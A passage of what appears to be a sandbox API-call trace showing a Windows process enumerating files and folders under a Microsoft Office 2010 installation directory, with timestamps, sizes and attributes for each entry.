ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1 [0041.319] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0041.319] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0041.319] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1 [0041.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.320] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.320] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0041.320] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0041.321] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0041.321] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1 [0041.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.321] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.322] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0041.322] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0041.322] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0041.322] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1 [0041.322] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.323] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.323] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1 [0041.323] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0041.324] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0041.324] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0041.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03b0 [0041.326] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.327] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0041.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x351e920 | out: lpFindFileData=0x351e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03f0 [0041.329] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351e920 | out: lpFindFileData=0x351e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.329] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351e920 | out: lpFindFileData=0x351e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0041.330] FindClose (in: hFindFile=0x3ec03f0 | out: hFindFile=0x3ec03f0) returned 1 [0041.330] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0041.330] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0041.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x351e920 | out: lpFindFileData=0x351e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03f0 [0041.333] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351e920 | out: lpFindFileData=0x351e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.333] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351e920 | out: lpFindFileData=0x351e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1 [0041.333] FindClose (in: hFindFile=0x3ec03f0 | out: hFindFile=0x3ec03f0) returned 1 [0041.334] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0041.334] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0041.334] FindClose (in: hFindFile=0x3ec03b0 | out: hFindFile=0x3ec03b0) returned 1 [0041.334] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0041.334] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0041.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03f0 [0042.019] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.023] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0042.641] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.641] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0042.653] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0042.653] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0042.743] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0042.874] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0042.878] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0042.884] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.884] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0042.884] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0042.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0042.885] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.885] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0042.885] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0042.885] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0042.885] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0042.885] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0042.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0042.886] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.886] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0042.886] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0042.886] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0042.886] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, 